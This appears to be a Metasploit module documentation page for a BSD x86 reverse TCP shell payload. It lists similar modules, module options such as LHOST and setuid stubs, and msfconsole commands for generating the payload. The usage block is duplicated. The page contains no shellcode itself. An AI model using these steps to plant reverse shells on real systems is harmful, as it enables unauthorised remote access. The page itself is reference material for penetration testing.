BSD Command Shell, Reverse TCP Inline
Connect back to attacker and spawn a command shell
Rank
- Normal
Authors
- ramon < ramon [at] risesecurity.org >
Similar Modules
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/bsd/x86/shell_reverse_tcp
msf payload(shell_reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(shell_reverse_tcp) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/bsd/x86/shell_reverse_tcp
msf payload(shell_reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(shell_reverse_tcp) > generate
Module Options
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| AppendExit | Append a stub that executes the exit(0) system call |
| AutoRunScript | A script to run automatically on session creation. |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| PrependSetresuid | Prepend a stub that executes the setresuid(0, 0, 0) system call |
| PrependSetreuid | Prepend a stub that executes the setreuid(0, 0) system call |
| PrependSetuid | Prepend a stub that executes the setuid(0) system call |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
